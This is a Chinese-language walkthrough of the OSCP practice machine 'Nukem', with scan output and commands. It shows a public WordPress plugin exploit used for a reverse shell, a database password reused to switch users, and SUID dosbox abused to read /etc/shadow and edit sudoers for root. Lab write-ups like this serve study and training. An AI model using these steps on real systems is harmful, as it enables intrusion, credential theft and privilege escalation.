OSCP靶场--Nukem

OSCP靶场–Nukem

考点(公共exp反弹shell+密码复用+ssh端口转发+dosbox suid提权)

1.nmap扫描

┌──(root㉿kali)-[~/Desktop]
└─# nmap -sV -sC 192.168.158.105 -Pn --min-rate 2500
Starting Nmap 7.92 ( https://nmap.org ) at 2024-04-12 01:33 EDT
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for 192.168.158.105
Host is up (2.0s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:6a:f5:d3:30:08:7a:ec:38:28:a0:88:4d:75:da:19 (RSA)
|   256 43:3b:b5:bf:93:86:68:e9:d5:75:9c:7d:26:94:55:81 (ECDSA)
|_  256 e3:f7:1c:ae:cd:91:c1:28:a3:3a:5b:f6:3e:da:3f:58 (ED25519)
80/tcp   open  http    Apache httpd 2.4.46 ((Unix) PHP/7.4.10)
|_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.10
|_http-generator: WordPress 5.5.1
|_http-title: Retro Gamming – Just another WordPress site
3306/tcp open  mysql?
| fingerprint-strings: 
|   NULL, SSLSessionReq: 
|_    Host '192.168.45.195' is not allowed to connect to this MariaDB server
5000/tcp open  http    Werkzeug httpd 1.0.1 (Python 3.8.5)
|_http-server-header: Werkzeug/1.0.1 Python/3.8.5
|_http-title: 404 Not Found

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 164.69 seconds
                                                                    

2.user priv

2.1 wscan扫描&插件exp反弹shell:

## 目录扫描发现是wp:

#################
##
┌──(root㉿kali)-[~/Desktop]
└─# wpscan --url http://192.168.158.105
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.158.105/ [192.168.158.105]
[+] Started: Fri Apr 12 02:35:53 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.46 (Unix) PHP/7.4.10
 |  - X-Powered-By: PHP/7.4.10
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.158.105/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.158.105/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.158.105/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.158.105/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.5.1 identified (Insecure, released on 2020-09-01).
 | Found By: Rss Generator (Passive Detection)
 |  - http://192.168.158.105/index.php/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>
 |  - http://192.168.158.105/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>

[+] WordPress theme in use: news-vibrant
 | Location: http://192.168.158.105/wp-content/themes/news-vibrant/
 | Last Updated: 2023-06-07T00:00:00.000Z
 | Readme: http://192.168.158.105/wp-content/themes/news-vibrant/readme.txt
 | [!] The version is out of date, the latest version is 1.5.0
 | Style URL: http://192.168.158.105/wp-content/themes/news-vibrant/style.css?ver=1.0.1
 | Style Name: News Vibrant
 | Style URI: https://codevibrant.com/wpthemes/news-vibrant
 | Description: News Vibrant is a modern magazine theme with creative design and powerful features that lets you wri...
 | Author: CodeVibrant
 | Author URI: https://codevibrant.com
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.0.12 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.158.105/wp-content/themes/news-vibrant/style.css?ver=1.0.1, Match: 'Version:            1.0.12'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] simple-file-list
 | Location: http://192.168.158.105/wp-content/plugins/simple-file-list/
 | Last Updated: 2024-03-16T21:14:00.000Z
 | [!] The version is out of date, the latest version is 6.1.11
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 4.2.2 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.158.105/wp-content/plugins/simple-file-list/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://192.168.158.105/wp-content/plugins/simple-file-list/readme.txt

[+] tutor
 | Location: http://192.168.158.105/wp-content/plugins/tutor/
 | Last Updated: 2024-03-11T11:50:00.000Z
 | [!] The version is out of date, the latest version is 2.6.2
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.5.3 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.158.105/wp-content/plugins/tutor/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://192.168.158.105/wp-content/plugins/tutor/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:01:25 <===============================================================================================================> (137 / 137) 100.00% Time: 00:01:25

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Apr 12 02:41:25 2024
[+] Requests Done: 175
[+] Cached Requests: 5
[+] Data Sent: 45.651 KB
[+] Data Received: 287.41 KB
[+] Memory used: 250.41 MB
[+] Elapsed time: 00:05:31


##############################
## simple-file-list   exploit
##
https://www.exploit-db.com/exploits/48979

###################################
## 反弹shell:
┌──(root㉿kali)-[~/Desktop]
└─# python 48979.py http://192.168.158.105
[ ] File 8003.png generated with password: 8cff6486c3aa0592d9f543ac7d393cc0
[ ] File uploaded at http://192.168.158.105/wp-content/uploads/simple-file-list/8003.png
[ ] File moved to http://192.168.158.105/wp-content/uploads/simple-file-list/8003.php
[+] Exploit seem to work.
[*] Confirmning ...

###################################
##
┌──(root㉿kali)-[~/Desktop]
└─# nc -lvvp 80                   
listening on [any] 80 ...
192.168.158.105: inverse host lookup failed: Unknown host
connect to [192.168.45.195] from (UNKNOWN) [192.168.158.105] 33210
bash: cannot set terminal process group (350): Inappropriate ioctl for device
bash: no job control in this shell
[http@nukem simple-file-list]$ whoami
whoami
http
[http@nukem simple-file-list]$ 

##########################
##
[http@nukem http]$ cd /home/
[http@nukem home]$ ls
commander
[http@nukem home]$ cd commander
[http@nukem commander]$ ls
Desktop  local.txt  python_rest_flask
[http@nukem commander]$ cat local.txt
6abce5d1e748bf68cf1f5515edbab6d9





在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3. root priv

###############
## linpeas枚举:
## 活跃端口:
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                                                                                                 
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      -                                                                                                             
tcp        0      0 0.0.0.0:13000           0.0.0.0:*               LISTEN      558/nginx: worker p 
tcp        0      0 127.0.0.1:5901          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:36445           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::3306                 :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::36445                :::*                    LISTEN      - 

###################
## SUID dosbox
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                                                                              
...
-rwsr-xr-x 1 root root 2.5M Jul  7  2020 /usr/bin/dosbox
########################
## 发现mysql凭据,用户名与/etc/passwd中的用户一致:
## 尝试su 或ssh切换用户:
╔══════════╣ Analyzing Wordpress Files (limit 70)
-rw-r--r-- 1 http root 2913 Sep 18  2020 /srv/http/wp-config.php                                                                                                                              
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'commander' );
define( 'DB_PASSWORD', 'CommanderKeenVorticons1990' );
define( 'DB_HOST', 'localhost' );

### 切换成功:
[http@nukem tmp]$ su commander
Password: 
[commander@nukem tmp]$ 

######################
## dosbox提权:
https://gtfobins.github.io/gtfobins/dosbox/#suid
https://medium.com/@vivek-kumar/offensive-security-proving-grounds-walk-through-nukem-3fe58fcf64ec



#####
## Dosbox 二进制文件设置了 SUID 位,但它不会在控制台中启动。因此,我们需要访问图形界面。幸运的是,
## VNC 会话正在该服务器的端口 5901 上运行。

## 因为vnc只能本地访问,所以先建立端口转发:
## ssh建立端口转发:
┌──(root㉿kali)-[~/Desktop]
└─# ssh -L 5901:localhost:5901 commander@192.168.158.105
commander@192.168.158.105's password: 
Last login: Fri Apr 12 08:20:18 2024 from 192.168.45.195
[commander@nukem ~]$ 

###########
## vnc登陆:
┌──(root㉿kali)-[~/Desktop]
└─# vncviewer localhost:5901
Connected to RFB server, using protocol version 3.8
Performing standard VNC authentication
Password: 
Authentication successful

############
## 进入dosbox终端:
Z:\> mount C /etc
Drive C is mounted as local directory /etc/

Z:\> C:

C:\> type shadow
root:$6$MfW0zuduZhJE.svF$uDYH.../K0:18523::::::
bin:!*:18523::::::
daemon:!*:18523:::::
...

## 修改sudoers文件:
C:\> echo commander ALL=(ALL) ALL >> sudoers

########################
##
## ssh切换用户:
┌──(root㉿kali)-[~/Desktop]
└─# ssh commander@192.168.158.105 
[commander@nukem ~]$ sudo su root
[sudo] password for commander: 
[root@nukem commander]# whoami
root
[root@nukem commander]# 


在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.总结:

## writeup
https://medium.com/@vivek-kumar/offensive-security-proving-grounds-walk-through-nukem-3fe58fcf64ec

## suid dosbox提权:
https://gtfobins.github.io/gtfobins/dosbox/#suid

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/540157.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【springboot开发】MVC和SSM

前言&#xff1a;关于MVC和SSM基本内容的梳理&#xff0c;以及两者之间的关系。 文章目录 1. 三层架构2. MVC3. SSM 1. 三层架构 三层架构是指&#xff1a; 视图层view&#xff08;表现层&#xff09;: 用于显示数据和接收用户输入的数据&#xff0c;为用户提供一种交互式操作…

ABAP ADBC_QUERY 测试代码

项目中使用的接口取数采用的是DBLink的方式&#xff0c;对方提供的表名太长&#xff0c;超过标准程序ADBC_QUERY的参数长度&#xff0c;于是写了一份简单的测试代码用来测试连接和取数。 DBCO配置&#xff1a; 测试程序&#xff1a; 程序源码&#xff1a; *&------------…

基于java+springboot+vue实现的居家养老健康管理系统(文末源码+Lw)23-313

摘 要 传统办法管理信息首先需要花费的时间比较多&#xff0c;其次数据出错率比较高&#xff0c;而且对错误的数据进行更改也比较困难&#xff0c;最后&#xff0c;检索数据费事费力。因此&#xff0c;在计算机上安装智慧社区居家养老健康管理系统软件来发挥其高效地信息处理…

【opencv】示例-peopledetect.cpp HOG(方向梯度直方图)描述子和SVM(支持向量机)进行行人检测...

// 包含OpenCV项目所需的objdetect模块头文件 #include <opencv2/objdetect.hpp> // 包含OpenCV项目所需的highgui模块头文件&#xff0c;用于图像的显示和简单操作 #include <opencv2/highgui.hpp> // 包含OpenCV项目所需的imgproc模块头文件&#xff0c;用于图像…

streamlit 大模型前段界面

结合 langchain 一起使用的工具&#xff0c;可以显示 web 界面 pip install streamlit duckduckgo-search 运行命令 streamlit run D:\Python_project\NLP\大模型学习\test.py import os from dotenv import load_dotenv from langchain_community.llms import Tongyi load…

武汉星起航:跨境电商领域的佼佼者,专业团队引领行业新高度

在跨境电商这片充满机遇与挑战的广阔天地中&#xff0c;众多企业纷纷崭露头角&#xff0c;竞相追逐市场份额。然而&#xff0c;在这样一个充满竞争的环境中&#xff0c;武汉星起航电子商务有限公司凭借其坚定的战略眼光和专业的团队实力&#xff0c;稳健地立足于市场&#xff0…

杰发科技AC7840——CAN通信简介(3)_时间戳

0. 时间戳简介 时间戳表示的是收到该CAN消息的时刻&#xff0c;通过连续多帧的时间戳&#xff0c;可以计算出CAN消息的发送周期&#xff0c;也可以用于判断CAN消息是否被持续收到。 1. 使用步骤 注意分别是发送和接收的功能&#xff1a; 2. 现象分析 看下寄存器的情况&#x…

引领智能互联时代,紫光展锐赋能百业创新发展

随着5G技术的快速发展&#xff0c;各行各业对通信技术的需求也在不断升级。紫光展锐持续深耕5G垂直行业&#xff0c;不断推进5G标准演进&#xff0c;从R15到R16&#xff0c;再到R17&#xff0c;展锐携手生态合作伙伴&#xff0c;不断推出创新性解决方案&#xff0c;在5G RedCap…

二叉树之建树

树结构如下所示。 class TreeNode{int val;TreeNode left;TreeNode right;public TreeNode(){};public TreeNode(int val){this.val val;} }二叉树的建树逻辑一般可以采用后序遍历的逻辑&#xff0c;先创建父结点&#xff0c;然后通过递归的方式得到左右孩子结点&#xff0c;…

04-使用Docker镜像和仓库

回忆一下之前的创建镜像命令&#xff1a; [rootnode2 /]# docker run -i -t --name another_centos7 centos:7 /bin/bash这个命令从centos7的镜像创建一个名为another_centos7的容器&#xff0c;并且启动bash界面 什么是Docker镜像 Docker镜像是由文件系统叠加而成的。 底层…

Centos 7.9.2009 下 Gitlab 完全卸载

一、linux版本&#xff1a;lsb_release -a 二、GtiLab 版本 # 查看gitlab的版本号 cat /opt/gitlab/embedded/service/gitlab-rails/VERSION 三、开始卸载 3.1&#xff0c;停止Gitlab 相关服务 # 停止所有GitLab相关服务&#xff1a; sudo gitlab-ctl stop# 移除GitLab包…

c语言->贪吃蛇实战技巧结合EasyX简单实现页面管理(简单实现)

✅作者简介&#xff1a;大家好&#xff0c;我是橘橙黄又青&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;再无B&#xff5e;U&#xff5e;G-CSDN博客 1. 游戏背景 贪吃蛇是久负盛名的游戏&#xff0c;它也和俄罗斯⽅…

CSS基础(上)(如果想知道CSS的全部基础知识点,那么只看这一篇就足够了!)

前言&#xff1a;在我们学习完了html之后&#xff0c;我们就要开始学习三大件中的第二件—CSS&#xff0c;CSS 可以控制多重网页的样式和布局&#xff0c;也就是将我们写好的html代码加上一层华丽的衣裳&#xff0c;使网页变得更加精美。 ✨✨✨这里是秋刀鱼不做梦的BLOG ✨✨✨…

家居网购项目(二)

文章目录 1.会员登录1.需求分析2.程序框架图3.修改MemberDao添加方法 4.修改MemberDaoImpl添加方法MemberDaoTest单元测试 5.修改MemberService添加方法 6.修改MemberServiceImpl添加方法MemberServiceTest单元测试 7.编写LoginServlet1.修改login.html表单2.引入login_ok.html…

DNS 各记录类型说明及规则

各记录类型使用目的 记录类型使用目的A 记录将域名指向一个 IP 地址。CNAME 记录将域名指向另一个域名&#xff0c;再由另一个域名提供 IP 地址。MX 记录设置邮箱&#xff0c;让邮箱能收到邮件。NS 记录将子域名交给其他 DNS 服务商解析。AAAA 记录将域名指向一个 IPv6 地址。…

python-study-day2

pycharm注释(也可修改) 快捷键ctrl /手敲一个 " # " 这个是单行注释""" """ 左边这个三个引号可以完成多行注释 基础知识 常用的数据类型 def hello(self):print("Hello")print(type(1)) print(type("1"…

2024最新数据分级分类的架构方法流程指南(附下载)

以下是资料目录&#xff0c;如需下载请前往知识星球下载&#xff1a;https://t.zsxq.com/18KTZnJMX

微信小程序全屏开屏广告

效果图 代码 <template><view><!-- 自定义头部 --><u-navbar title" " :bgColor"bgColor"><view class"u-nav-slot" slot"left"><view class"leftCon"><view class"countDown…

C/C++内存泄漏及检测

“该死系统存在内存泄漏问题”&#xff0c;项目中由于各方面因素&#xff0c;总是有人抱怨存在内存泄漏&#xff0c;系统长时间运行之后&#xff0c;可用内存越来越少&#xff0c;甚至导致了某些服务失败。内存泄漏是最难发现的常见错误之一&#xff0c;因为除非用完内存或调用…

计算机网络---第十一天

生成树协议 stp作用&#xff1a; 作用&#xff1a;stp用于解决二层环路问题。 BPDU&#xff1a; 含义&#xff1a;桥协议数据单元&#xff0c;用于传递stp协议相关报文 分类&#xff1a;配置bpdu---用于传递stp的配置信息 tcn bpdu---用于通告拓扑变更信息 包含信息&…